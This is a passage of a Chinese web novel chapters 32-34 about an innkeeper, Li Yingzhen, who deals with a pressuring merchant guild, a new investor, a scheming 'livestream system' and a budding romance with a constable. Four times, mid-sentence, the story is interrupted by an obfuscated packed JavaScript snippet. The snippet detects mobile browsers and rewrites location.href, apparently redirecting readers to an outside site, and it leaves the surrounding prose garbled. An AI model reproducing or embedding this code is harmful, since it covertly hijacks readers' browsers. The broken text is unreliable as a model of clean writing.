只是方为有控制的商会范围已经让她艰难求存,如果加上林州商会的共同绞杀,那么大的范围里没有友商,她怕是真的没法再继续经营客来居了。 迅速打了腹稿,黎映真尽量保持冷静,上前道:“既然洛会长不肯提点,可否容我先说几句?” 方、洛二人点头。 “我客来居打开门做生意,明码标价、食材新鲜,后厨师父手艺精湛,堂内帮工做事周到,从未强买强卖,何来无序竞争? “药膳开发以德仁堂坐堂大夫的药理为基础,直播间抽奖是为回馈乡邻,都是为食客们提供更多选择与乐趣,谈不上奇技淫巧。 “难道在商会眼中,墨守成规、一成不变才是经营正道?客人们是自己进的我客来居,并非我拿刀逼着他们。” 她字字清晰,条理分明,将文书上对她不公正的指摘一一驳了回去。 房内此时无声,唯有邹掌柜又急道:“让客来居加入商会,是给足了黎掌柜你面子。规矩就是规矩,你若答应依照商会统一行事,自然少不得客来居该有的好处。和气生财,黎掌柜该懂这个道理。” “正是因为明白,这会儿不是就在跟两位会长和和气气地谈吗?”黎映真道。 方为有此时却站起身,道:“商会里还有其他事务要处理,今日来的目的也已跟黎掌柜都说了。三日之后,等你的答复。” 三人不请自来,走时也只留下这句通知,丝毫未见尊重,皆是颐指气使的傲慢。 方为有等人走后,阿桃他们少不得来关心,但黎映真自己且没有突围的主意,又怕如实说了反而让大家都焦虑不安,便只敷衍说商会想邀客来居加入,但她还在考虑,并未将那些逼迫而来的行业规则压制、舆论围剿说明。 唯有到夜深人静时,黎映真才能稍稍展露内心的愁闷。 有碎落的瓦砾顺着屋檐砸在院子里,那声音在静谧的夜色中格外清晰。 黎映真被惊得回了神,这才觉得从窗外灌进来的凉意又浓了一些。 搓了搓手臂,她去将窗关上。 又是一声瓦砾落下的声一响。 像是故意的。 意识到屋顶上可能有作怪的野猫,黎映真跑去院子里查看。 屋顶上确实有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027461|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个黑影,可比野猫大多了。 “怎么还不睡?” 黑影眨眼就到了黎映真跟前,一身的秋凉寒气,眉眼倒是比房里的烛火温柔多了。 黎映真看着一身夜行衣的李弦,有些意外。 可想到他一直在办的那件神秘公案,转念间也就理解了。 她抱臂笑道:“你不也没睡,还来我屋顶上做贼呢。” “白日里见了方为有,想你也不会太早睡,顺路经过,就来看看。”看黎映真回了屋子,他只去窗口待着,倚着窗框,视线总跟着黎映真,“他们如何为难你了?” “他们恐惧、慌张、害怕,想要利用商会的势力打压我的商业活力,让我成为和他们一样的一潭死水。” 略显夸张的表情和肢体动作惹得李弦忍俊不禁,看着从房门一路“演”到窗边的黎映真,他也只是欣然接受她此时所有的回应,又从怀里摸了一包东西给她。 见她看都不看,打开就吃,他道:“都不问是什么就往嘴里塞?” “这么浓的芝麻味还甜甜的,不是芝麻糖还能是什么?”黎映真所言所行都仿佛理所应当,“你还能顺路来我这儿,是手里的事进展顺利?” “承你吉言,确实有些线索,这些日子得盯紧些。” 发现李弦忽然定定地看着自己,连身边的烛火都像是照不亮他的深邃的眼眸。 那眼底,有想要告诉她,却又不方便明说的东西。 黎映真凝神,原本也倚着窗框的身子站直了些。 她猜到李弦无事不登三宝殿,这么晚来找她,一定不是所谓的顺路。 “跟……商会有关?”她问道。 定在她身上的目光转落,她听见李弦略重地出了声气,看来是她猜对了。 往李弦身边挪了挪,再朝外探出些身子,她问道:“不然……我帮帮你?正好我有这个机会。” 李弦转来目光,视线交汇的刹那,有什么东西忽地拂过心头。 很轻,有些痒,细碎的,总也落不到实处,引着她所有的主意,渐渐便在他的注视下失了神。 “就是怕你搅进去才来找你。”见她手里还拿着剩下的芝麻糖,他问道,“还吃吗?” 黎映真递给他,他打开了糖纸,都快凑到嘴边了,又不放心地去看黎映真,郑重道:“尽量别跟他们扯上关系。” “可我眼下没有破局的办法。之前他们还只是私底下堵我的货源,这次连方为有都出面了,我不答应,他就联合附近其他商会一起封杀我,我这小客栈哪里扛得住?” 原本不想让李弦知道这些,可她没忍住,还是都说了,方才那故作轻松的掩饰,这会儿想来只剩下好笑了。 “李弦。”她有气无力地趴在窗台上,“我好难啊。” 嘴边凑来那剩下的芝麻糖,正是李弦递来的,哄她道:“东街王婆家的芝麻糖,吃了脑子转得快。” 明知李弦这会儿不正经,黎映真却鬼使神差地张了嘴,这就被喂了芝麻糖,居觉得比方才吃的要甜一些。 “我再去想想办法。”攥了糖纸在手里,李弦低头看着吃糖都还皱着眉头的黎映真,“你早些休息,明日还忙呢。” 见他转身要走,黎映真赶忙伸手,好在拽住了那一点衣角。 “怎么了?”李弦回头,瞧见她这会儿又成了一副求人的可怜模样,与她眼底丝丝透出的狡黠又不相同。 朝李弦勾勾手指,黎映真神秘道:“求你件事儿,帮我打听一个人,可行?” 32. 第 32 章 成安县,城东别院。 黎映真一身素净的豆绿色长裙出现在别院外,她昨日特意熨过,衣裙上没有多余的褶子,妆面也是精心画的,区别于平日素面朝天,是为让今日去求见之人感受到起码的尊重。 叩响院门后,里头传来一阵轻响。 黎映真还在回顾自己已准备了一晚上的腹稿,眼前已出现了一张不算陌生的脸,正是那位女客身边的一个随从。 “黎掌柜来寻我家小姐?” 黎映真点头道:“有劳通报。” 院门被彻底打开,随从给她让道,道:“黎掌柜先进来吧。” 跟着随从深入别院,黎映真才知县内竟然还有这样幽静雅致的别院。 一路被领到花厅,见到那位女客,黎映真立即行礼。 “黎掌柜不必多礼。”女客正打完香篆,拿线香点上香粉,盖上香炉盖,推到一旁,“过来坐。” 一张长案,黎映真与她各坐一边,那炉香就在她们之间烧着,袅袅青烟,徐徐升起。 “我还留在成安县就是等着跟黎掌柜再聊聊,怎的这会儿你找我,反倒这样拘束沉默?”女客总是浅浅含笑,却让人感受不到太多暖意。 “客人抬爱,毕竟是我有事相求……” “都说了做朋友,就不必用求这个字。”女客道。 见随从上了茶,黎映真主动敬上。 “我姓宋,家中排行十一,叫我十一娘就好。” 茶盏正推到十一娘跟前,黎映真微顿,道:“还是叫宋姑娘吧,我不敢僭越。” “那就随你喜欢吧。”十一娘道。 待随从退下,厅中又只剩下她二人。 那炉里升起的香味已散开,气味清冷,凝而不显,淡而不散,跟十一娘给人的感觉极为相似。 黎映真最后再整理过思绪,抬眼去看十一娘时,神色比之刚到时多了几分镇定,眉眼沉稳。 “宋姑娘先前说有意相助客来居,如今可还有这想法?” “有是有,不过你开口跟我开口,情形却是不一样的。” 情势逆转自然要她放低姿态,黎映真正是知道,所以在从央求李弦帮忙打探十一娘的行踪那一刻起,已经在为说服她而做准备。 黎映真自袖中取出一卷稿纸,展开在中间的长案上,起头的正是“发展计划”四个字。 “我学问粗鄙,有些话或许不够精炼文雅,宋姑娘别与我计较。眼下呈现的,是我从接手客来居那一日就在设计的经营步骤。” 得了十一娘首肯,黎映真便从经营理念开始,将她往后的规划发展一一告知,条分缕析,尽量将满足客需、创造独特体验、塑造客栈品牌价值这些现代理念解释清楚。 待说完,见十一娘眉间眼底尽是笑意,黎映真暗暗松了口气。 “上回黎掌柜说只想平稳经营客来居,可我听你今日所言,当日果然还是在拒绝我。”十一娘说着,一双纤细葱白的手已开始收卷案上的计划书。 被直言戳破了当日推搪之辞,黎映真脸上一热,看十一娘将计划书递来,她忙双手去接,道:“东家当我那是不识抬举,如今想清楚了,这不是上门请罪来了吗?” 十一娘被这一声东家听得愣了神,稍后才笑道:“黎掌柜都这样叫了,我还能不答应?” 黎映真闻言大喜,连声感激道谢,又道:“东家看得上客来居,是我跟客栈的福气,这也该是我那一点点小小的底气吧?” 她观察着十一娘,却不见十一娘出声,显然是在等她继续。 “我投诚东家麾下,借东家之势,将这些经营之法推广开来。但我恳请,在客栈各项日常经营上保留自主之权。东家不必费心,即可见到钱生钱,至于这分红,东家不会亏待我的。” 她总不能彻底将客栈卖了,还是尽量多保留些自主经营的权力才好。 十一娘仍是静静地坐着,视线落在那炉香上,唯有窗外的风声在此刻能听得清楚些。 秋风也只是吹了一会儿便停了,很快连那细微的声响都不见了。 花厅里只比方才更安静,静得黎映真不由屏住了呼吸,生怕惊扰了十一娘。 良久,十一娘嘴角微扬,露出一抹意味深长的笑容,道:“好,我只出钱,余下的你来办。横竖我想要的,是客来居和你将来的名声,以及你那些新法所带来的无限可能。那我便有无限的银钱了。” 黎映真闻言狂喜,拜谢道:“东家垂爱,不嫌我今日冒昧求见,还愿意听我这些浅见,黎映真心中感激,一定为东家效犬马之劳。 “不过……” 十一娘端起茶盏品起茶来,并不为黎映真这一停顿而困惑,道:“我既做了客来居的东家,客栈的麻烦就是我的麻烦。黎掌柜直说无妨。” 黎映真于是将商会为难自己的事说了出来。 “这事儿……”十一娘思忖片刻,道“我来解决,黎掌柜先去看看你我之间的契约书,有任何疑问等我替你解决了麻烦再谈,就当是我的诚意了。” “东家是这会儿就要……” “速战速决,黎掌柜也好放心。” 黎映真还想说什么,随从已来引她离开。 如十一娘所说,黎映真到了一处小厅,自随从手中接过了那份契约书。 事关在这个世界未来的生活与发展,她不敢有丝毫怠慢,这就认认真真看起了契约书。 这份契约书应是沿用了十一娘过去入伙其他商家的内容,黎映真研读过每一项条款都没有发现问题,分红甚至比她预想的还要有利于自己。 “这样大方的老板是该发财。”边看,黎映真边忍不住夸道。 “搭档,检测到有可以快速提升热度值的方法。”系统不合时宜地出现。 那股对热度值的在意,再度引起了黎映真的怀疑。 “哪儿呢?” “就在花厅。现在去,一定能有效刺激热度值再创峰值。” “上次说热度值到50你可以升级,这就是你升级完的功能?” 混沌虚空里留下一阵短暂且突然的沉默。 “你最好老实交代,我的这个直播间到底是什么主题?热度值跟哪些因素直接挂钩?” “搭档,咱们直播间真的是盘活经营客来居为主题的,但观众也可能存在口味偏差,任何因素都可能影响热度值。快去花厅吧,再晚就来不及了!” 面对系统催促,黎映真站着纹丝不动,眸光甚至渐渐冷了下来,道:“我要知道真正的热度值。” “搭档……” “除了最开始热度值偏低的那阵,你都在我试图扭转客栈颓势的时候给出热度值,可后头你再传达峰值,都是在哪些时间点,你自己知道吗?” “是你当初要我闭嘴的,我也只是跟你分享热度值变化,当做提醒。” 换作以前,系统这副委屈的样子还能激起黎映真的怜悯,但随着那些越来越经不起推敲的热度值和播报时刻,她已完全否定了系统作为自己担当的身份。 黎映真问道:“直播间有弹幕吧?” “你要做什么?”系统明显警觉起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032291|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 “你在茉城能给我开临时功能,现在也可以吧?给我开弹幕,我要看看我的观众们在讨论些什么,也方便我后续整活,多得热度值。你不想要吗?” 沉默代表着存在可能,这个可能来自于系统的升级。 任何东西升级都需要信息或资源,从系统对热度值那样热衷的态度来看,很可能热度值就是直接提供它升级的基础。 “想好没有?”黎映真朝虚空喊道。 “滴,【临时弹幕】功能开启,时长五分钟。” 机械音消失的瞬间,信息涌入黎映真脑海,瞬间将她从混沌之地带回别院的小厅内。 “真签卖身契?我觉得这个十一娘有问题。” “男主已经好几天没正经出现,没被女主嫌弃了,人呢?” “我以为是爽剧来着,怎么还没打上脸?” 弹幕算不上多,但也容不得黎映真慢悠悠一条一条地看。 “搭档,快去花厅。”系统催促道。 黎映真尝试离开这里去找十一娘,却被随从拦着,说是十一娘正在会客。 “女主在墨迹什么?” “李弦,你老婆要飞黄腾达了,你就快夫凭妻贵了。” “黎李99!黎李99!黎李99!” 黎映真只觉得自己一个脑子被分成了两半,一半冷着脸在弹幕里寻找有用信息,另一半还在努力推进剧情,但碍于身份限制,没能成功。 这种整个人撕裂的感受从心理到身体都非常不适,但时间实在有限,她只能强忍着像是要被凿开脑袋的痛苦强迫自己继续从弹幕信息的角度去熟悉自己所处的环境。 弹幕被关闭的瞬间,脑子里那根紧绷的弦突然松了。 她趴在桌子上大口喘着气,像是快要渴死在沙漠中的旅者。 不知过了多久,黎映真听见走近的脚步身,她勉强扶着桌子站起,才听随从说十一娘会完客感到疲乏已歇下,她的麻烦已经解决,关于契约的事改日再谈。 黎映真同样还未从身心俱疲的状态中缓过神,于是不再逗留,请随从转告谢意后离开了别院。 身子轻飘飘的,她只觉得下脚的每一步,连地都是软的,不得已放慢了动作。 摇摇晃晃地走了没几步,身边迎上一阵暖意,教她想都没想就靠了上去。 “怎么回事?”李弦关心的声音传来,“谈个合伙分红的事,怎么成这样了?” 身体虚得受不得一丝风,她下意识往李弦身边躲,问道:“你怎么会在这儿?” “县令不知收到什么消息就急匆匆走了,我好奇,跟着就来了。” 缓行的脚步停下,黎映真转头望着那坐静谧的园子,眼中疑云丛生,道:“县令来了?进了别院?” “是啊,县令进了,方为有也进了。” “什么?” 她脸色还差,李弦看着一点儿都笑不出来,眉头拧到了一块儿,道:“两个人进去的时候都匆匆忙忙的,出来嘛……县令脸色更难看些。” 十一娘说会为自己解决麻烦,但黎映真没想到会是这样直接的方法,还将县令也扯了进来。 她算是有了不错的靠山,可也担心情况越来越复杂,将来树欲静而风不止。 “怎么了,这别院好得舍不得走了?”李弦打趣道。 黎映真睨他道:“是啊,这院子好极了,我喜欢的得不得了。以后我也要买这样的大院子,自己住。” 看她踌躇满志,李弦却是向上托了一把,问道:“脚下这路还好走吗?” 33. 第 33 章 有了十一娘调停,笼罩着客来居的阴云随之散去。 没有了商会的掣肘,黎映真手脚放得更开,客栈门庭若市,不仅成安县内的百姓更加追捧,连邻近县镇也有越来越多慕名而来的客人。 客栈里人人都为这样的好转而欢天喜地,阿桃每日在客栈里穿梭招待客人的身影都变得轻快愉悦了不少。 可柜台后头,黎映真指尖划过算盘,心头却无多少欣喜。 且不说和十一娘签订了契约后,自己将来要给与多少反馈,她眼下还烦着那始终藏着掖着的系统。 毕竟之前那五分钟的弹幕里并没有让她找到实质有用的信息,真像系统说的,这个直播间的观众抓什么重点的都有。 午市尾声,一辆马车驾临客来居,来的正是十一娘。 和初次到来时一样,她选了出靠窗的安静位置坐下,只点了一壶清茶和几样精巧茶点。 “黎掌柜这客来居如今是越发兴旺了。” 听着十一娘的夸奖,黎映真依旧仔细谨慎地布菜倒茶,待坐下了,才又听她道:“生意好是好事。不过,成安县到底地方有限,黎掌柜有没有想过几时将客来居带去更广阔的天地?” 黎映真的计划蓝图里自然是有的,但不是现在。 她想十一娘也并非是要她立刻办到,却要这样提醒,想是仍觉得她的计划慢了。 又挺了挺脊梁,黎映真看向十一娘,正色道:“客来居的特色,在于孙伯等老师傅的手艺和本地食材、乡邻情感的维系。我以为,不维系好这里的根,不好对外扩展。 “东家答应让我自主经营,必然是相信我可以走出成安县。那就请东家容我再在县里深耕一阵,将眼下有的和正在筹谋的计划打磨成熟,培养出足以独当一面的心腹人手,再图外扩,方是稳妥长久之计。” “不光要我追着你掏钱,还要我听你的训。”十一娘笑嗔一句,吹着茶盏中的热茶。 黎映真只觉后背一凉,立即赔笑道:“我不过是替东家说了实话,好教我自己记着,稳扎稳打方可财源广进。” 十一娘喝了茶,听了好话,描摹得细致的那双细眉彻底舒展开,道:“钱和人脉这些你都无需担忧。我答应你的事,也不会反悔。只是希望黎掌柜能明白,地方大了才更适合施展你的才华。你可以慢慢筹备,但方向,需心中有数。 “我的耐心,有那么一些,却也只有那么多。” 钱难挣的道理黎映真自然明白,十一娘固然不是个完美的东家,但在黎映真看来已经难得,她自然也是能答应的都答应了,尽快找出平衡点,以期达到双方都满意的状态。 随后,十一娘转而问起药膳的搭配原理,黎映真一一解答,气氛倒也融洽。 “李捕快,巡完街了?” 阿桃的声音传来,黎映真跟习惯了一般,转过头循声望去。 李弦握着佩刀大步跨进来,身体起伏得厉害,想是又当街抓了人,才交接完便过来了。 看他进门就往柜台走,许是瞧见那儿没人又即刻停下脚步叫来阿桃问“黎掌柜呢”的样子,黎映真嘴角忍不住一动,但念着十一娘在身边,硬是压了下去。 阿桃顺手一指,李弦便瞧见黎映真的位置。 她还没反映过来,倒是一旁的随从接收到十一娘的指示,上去请李弦过来。 那人随意擦了额角的细汗,大步随性着就走了过来。 待到桌前,视线先在黎映真身上一扫而过,才向十一娘拱手道:“宋姑娘。” “李捕快不必客气。”十一娘示意李弦落座,“我听县令提起过,李捕快身手不凡、心思细腻,有你在,县内百姓安居,祸端少发,李捕快可谓深得爱戴。” “县令领导有方,卑职只是尽分内之责。” 十一娘摇头,目光在李弦身上有所停留,说是欣赏更有衡量审视之意:“程县令治下算得上严苛,能有这样的评价,可见李捕快方才绝对是自谦之说了。” “自谦?” 听见李弦这意味深长的反问,黎映真下意识抬眼看他,正见那人看着自己,眼底笑意似是而非,像是要她说些什么为他证明似的。 “黎掌柜,你觉得呢?”十一娘问道。 “啊?”黎映真回神,听见李弦一声低笑。 桌下,有人一脚踩了出去。 另有人任由自己被踩,脚下一动不动,只摸了摸鼻子,余光总往那别着木簪子的豆绿色身影瞟。 “李捕快锄强扶弱,一心为公,是县里百姓称赞的好捕快。”黎映真含笑说着夸奖的话,鞋底仍搭在李弦鞋面上。 “我就说李捕快非池中物。”十一娘点头,问李弦道,“李捕快这样的能耐,只在成安县做个捕快岂非委屈了?” 桌底下那只出气的脚即刻缩了回去,连带着黎映真原本落在李弦身上地目光也转而落去身前桌面上空着的地方。 她身子明显比方才僵硬了不少,腰杆子挺得仿佛绑了把戒尺。 李弦看她这强作镇定的样子,且不做声,自己仍是那副散漫模样,眼底笑意若有若无,稍后才转头去看十一娘。 “卑职粗人一个,习惯了成安县的水土,放不下衙门里的一帮兄弟……。” 感觉到桌下有什么东西碰了自己足尖。 黎映真抬眼,只见李弦冲自己挑眉,那得意的神情看得竟又是一副欠收拾的样子。 她忍不住,足尖翘起稍转过,便又是一脚踩在李弦鞋面上,表面依旧不动声色。 那人嘴角扬得高了些,继续道:“也放不下日夜相处的县里百姓。” 十一娘被当面拒绝,眼底闪过一丝极淡的冷芒,但面上笑容不变,反而赞道:“李捕快重情义,不忘本,实在难得。看来是我没有这个本事,不能结交到此等可靠的有人相助,实乃憾事。” 见十一娘起身,黎映真和李弦跟着站起。 直到将人送走了,黎映真回到柜台里,那一片高大的影子也跟来了。 听见“夺夺”两声敲击台面的声音,她头都没抬,继续拨着算盘珠子,道:“换值了吗?偷懒这么长时间,可不符合李捕快心系百姓的形象。” 那把佩刀被摆来台面上。 “怎么?”睁大了双眼看李弦,黎映真的身子却是不由自主往后缩了缩,“拿把破刀吓唬我?” 李弦倚着柜台,微微凑近盯着黎映真,道:“我拒绝人家了,你没听见?” “关我什么事,说得好像我碍着你的似锦前程一样。” “谁又稀罕那些东西呢。” “不稀罕你偷偷摸摸办大事?” “办成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036727|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再说吧,再者那也叫大事?” 将算盘放去一边,黎映真抬头盯着李弦,好整以暇道:“那我请问,什么样的事才叫大事?” 她眸光清澈,眼波盈盈,许是隔着柜台的距离,她下意识往前凑了凑,不见逼问之姿,只让那柜台外头的人瞧清楚了不觉间淌在她眉眼间的俏色狡黠。 视线一转,落在还留着浅浅鞋印的鞋面上,李弦无奈摇头,道:“黎掌柜聪明绝顶,何不自己多猜猜。” 说罢他拿起佩刀,转身离开了客来居。 目光还黏在那人身上一般,跟着追到了客栈门口,阿桃的出现才教黎映真回了神。 “掌柜的,明日咱们能早些打烊吗?”阿桃问道。 “为什么?” “孙伯明日过寿,我们想一起热闹热闹。” “好呀,你们该早些说的。” 于是翌日,客来居外头早早便挂上了“东主有喜,明日请早”的红纸。 客栈后院里,在黎映真的张罗下摆了两桌丰盛的韭菜,孙伯、阿桃、吴二等一众伙计欢聚一堂,为孙伯贺寿。 月色清朗,秋风送爽,院子里挂着的灯笼下,被罩在暖黄灯光下的人们,喝着米酒、吃着佳肴,气氛融洽欢愉。 黎映真作为掌柜,从客栈重开之日起便一直团结力量、筹谋发展,大伙趁此机会借酒聊表谢意。 难得高兴,她少不得多喝了几杯,可她酒量算不上好,不一会儿的工夫,脑袋便有些晕乎乎的,心情却是难得的松快。 实在高兴加上酒意微醺,黎映真连坐着都开始摇晃起身子来,思绪逐渐不受控制,连带着视线也不由自主地在人群中逡巡,不知在找什么。 目光无意间晃过墙头。 好大一团黑影。 “什么东西!”黎映真晃晃悠悠地站起来,手里还拿着空了的酒杯,指着墙头,鼓鼓囊囊说了一声。 墙头人影一跃而下。 记忆忽地回到当初张家婚宴上,也是有人从墙头跃下,一面说她当众闹事,一面又帮他化解了被强行逼婚的处境。 那张脸跟这会儿渐渐靠近过来的有些相似。 他越是走近,黎映真越觉得像。 这身形、这姿态,这嘴角噙着的笑意,眉眼微弯的神态,闲适不羁,不正经却又好看。 “李弦。”拿着杯子的手恰顶在李弦心口,隔着衣衫,有轻微的跳动传来。 节律有些快,也有些熟悉。 像是……跟她腔子里那颗心跳得同了频。 李弦从她手里取下空酒杯,扶着那站着都摇晃的身影坐下,道:“喝成这样还认得我呐?” “没喝多少。”她这会儿坐着却是老实了,纹丝不动,去看李弦时也只转着眼珠子,眉头微微皱着,道,“客栈内部员工聚会,不接待外宾。” 看吴二给自己倒了酒,李弦先向孙伯示意祝贺,待酒杯凑到唇边,他才问黎映真道:“我是外宾?不该是客栈的福星?” 许是灯影阑珊,掩映着李弦眉眼,黎映真有些看不清,只依稀辨认出这人在笑,真的好看,却不知他究竟在笑什么。 倒是她脑海里,莫名其妙想起当时那些写着“夫凭妻贵”“黎李99”的弹幕。 就他这总是一副欠收拾的样子,谁要和他…… 34. 第 34 章 酒意在意识里肆意侵袭,身边的欢声笑语却又扯动着黎映真神智里最后的一丝清明。 她就那样坐着,有李弦陪在身边,看他和其余人相处游刃有余的样子,一切看来那么热闹,可又好似安宁得很。 那些渐渐变得模糊的灯影底色里,只有那唯一的影子依旧清晰。 “不舒服吗?”李弦的声音传来。 长睫轻扇,有些迟钝的思绪连消化这样简单的问题都要花费一些时间。 “没有不舒服。” 回答的声音有些轻,需李弦凑近了才能听清,而她就这样忽然贴近了他的耳畔,那阵熟悉的暖意扑面而来。 她抬起手,笼在李弦耳边,压低了声音道:“我还想到一件事……” 发觉他的鬓角动了动,鬓边的碎发发尾撩上她的手掌,她探出指尖,小心地将碎发拢到他耳后,还不忘数落他道:“你这人也太不修边幅了,又翻墙,又不好好梳头……” 颊畔被黎映真轻柔的气息一阵一阵地扑着,醉人之意浓过杯中酒。 那笑意随之凝聚在李弦眼底,往日惯拿刀的手,这会儿都开始无措地搓动,掌心发热,像他已热得发红的耳根。 “听你的,日后留意。”他转头,对上黎映真认真又朦胧的那双眼睛,“这会儿太吵,你想到的事儿咱们晚些时候说。” 黎映真点头,乖巧得很,让李弦都觉得有些陌生了。 月渐西移,大家喝得酒酣耳热,该散场的终究还是要散场。 帮着简单收拾完后院的狼藉,放下挽起的袖管,拍着身上的衣褶,李弦眼前出现一块热巾子。 接了巾子擦去额上细汗,李弦问道:“酒醒了?” 席上喝得上头了些,黎映真现在想来有些尴尬,便只是点头。 两人坐去院子里那棵桂花树下,隔开了些距离,但有风的时候,衣袖摆动还是会不经意地相触。 “李弦……” “嗯?” “你真的不后悔拒绝了宋姑娘吗?” “那你呢?你真的想将客来居带出成安县?” 垂在身侧的手不由攥紧了裙裾。 “我可能没办法离开成安县。”身侧的手攥得更紧了些,“但是我会想办法离开的。” 她被困在这个中心区,被迫成为推动系统升级的养料,一日不摆脱这样的桎梏,就一日没办法自由,就算真有宏图大志,也没办法施展。 而李弦和她不一样。 “我看十一娘背景深厚,对你青睐有加,你为什么不考虑借她的东风为自己的将来多筹谋呢?” “怎样才算得上为将来筹谋?自得其乐,我行我素,这样的将来难道不算将来?” “歪理。” “在你眼里,我可曾正过?” 李弦身子后仰,双臂叠起枕着脑袋,完全靠在桂花树上,望着天边的月亮问道:“方才是不是有事要跟我说?” 那阵在酒劲儿催化下思绪模糊又乱糟糟的,黎映真已想不起来究竟要跟李弦说什么了。 可他这样问了,她又不太想辜负今晚清盈柔美的月色,于是学着他的样子也靠去桂花树上。 “客栈要做大,总需要吸引更多人的目光短浅光是吃饭、看热闹、抽奖这些不是长久之计。我在想,能不能把吃饭和听故事,甚至是让人亲身参与进故事里结合起来。”她转头看着李弦道,“这叫剧本杀。” 李弦也转头,回应着她的目光,道:“愿闻其详。” “我们可以设定一个场景,来的客人不光是吃饭,他们可能扮演不同的角色,宾客、侍卫,甚至是……探子。 “我们准备相应的服装、道具,安排一个简单的剧情线索,让他们在品尝特定菜式的过程中,去探寻一个秘密或是完成某个任务。 “将美食、剧情、互动融为一体,创造一个完全沉浸其中的体验。” 她一双秋水明眸因这样的计划更是神采飞扬,可当讲述完毕,又变得不那么自信了。 “怎么了?不是说得挺好?” “我只是不确定这样设想能不能在这个世……成安县里落成。会不会是异想天开?” “这些你应该都跟宋姑娘说过。她可有评价?” “她虽认可,但像她那样的背景不见得能了解真正百姓的想法。你总跟街坊四邻打交道,你说呢?” “只是我一个人的意见也做不得数。”李弦道,“你的脑子里本就装着异于常人的东西,想出的法子至今还未失手吧?” 听得出是李弦有意鼓励,黎映真得了些信心,却也还是顾虑,道:“你说得虽没错,但人有失手,马有失蹄。这剧本杀投入不小,我又是拿的宋姑娘的银子,万一亏太多,我没法交代。” “这种时候瞻前顾后,不像我认识的黎掌柜。”李弦坐起,搬了凳子坐在黎映真对面,正色道,“你是因为不知将来究竟会如何才有此顾虑,还是在担心其他原因?” 往日懒散惯了的人忽然变得这样正经,难免令黎映真哑然。 她却不敢说,那未知的将来早就绑定了她自己的生死,她所有的努力和所谓一往无前的冲劲都源自对死亡的恐惧。 停下,就是死,是彻底的消失。 甚至是连在这个她莫名穿越来的世界,也不会留下她的痕迹。 “我……” “不怕。” 灯影幽幽,那一声温柔简短的安慰化在风里,融在月下。 也听在黎映真耳畔,绕在她心头。 “成安县不是还有我在吗?” “……” “异想天开的事,你也不是没做过。想做什么,就去做。” “……” 又一阵夜风吹过,送来今秋最后一波桂花香气。 丝丝甜意落入她眉间,揉开了原本浅淡的褶痕,教那黛山舒展,眼波更是潋滟。 她好似出了神,月影坠在她眼底也都被化开似的,看得对面的那人蓦地慌乱起来,双手拍在膝上,无意识地搓着,倒抽着气不知还该说些什么。 “你这才不像我认识的李弦呢。”黎映真低头剥着指甲,又去看他如坐针毡的样子,实在掩不住笑声。 听她发笑,李弦却似想开了似的,抱臂看着她。 可到底,自己也情不自禁地与她笑做一团。 这夜之后,黎映真却未立即着手筹备剧本杀的事。 客来居里,则出现了一番新景象。 这日李弦巡街至此,踏入客栈时,见阿桃正在给一位客人结账。 “客人请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040769|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留步,有几个关于改善小店的问题想请客人帮助提点,不知客人是否有时再小小逗留片刻? “客人觉得小店菜肴滋味如何?除用膳外,您可还期待些别的乐趣……” 小姑娘做事一板一眼,显然是经过训练的。 肩头忽地被拍了一下,不等李弦回头,黎映真已到了他身前,正往柜台里走。 他跟上,问道:“你怎么从外头进来了?” “孙伯病了,我去看他,才回来。” 李弦看着大堂里迎来送往的景象,道:“你这膳后闲谈有几日工夫了,可有端倪?” 一叠还没来得及分析的新收问卷被摆在李弦跟前,黎映真拍了拍,道:“既来之,则处理之。” “眼下手里还有事,我只是路过来看看。” “可是让李捕快费心了,忙里偷闲还要过来呢。”黎映真收起问卷,未见李弦眼底闪过的失落。 收完问卷,她又抬头叮嘱道:“正事要紧,别耽搁了,千万注意安全。” “诶。”李弦应了声,转身就走。 黎映真看着那人离去的背影,只觉得方才他那声“诶”说得格外来劲儿,不知哪来儿的那股兴奋。 等入了夜,黎映真依旧汇总了今日全部的问卷,独自在灯下细细对比。 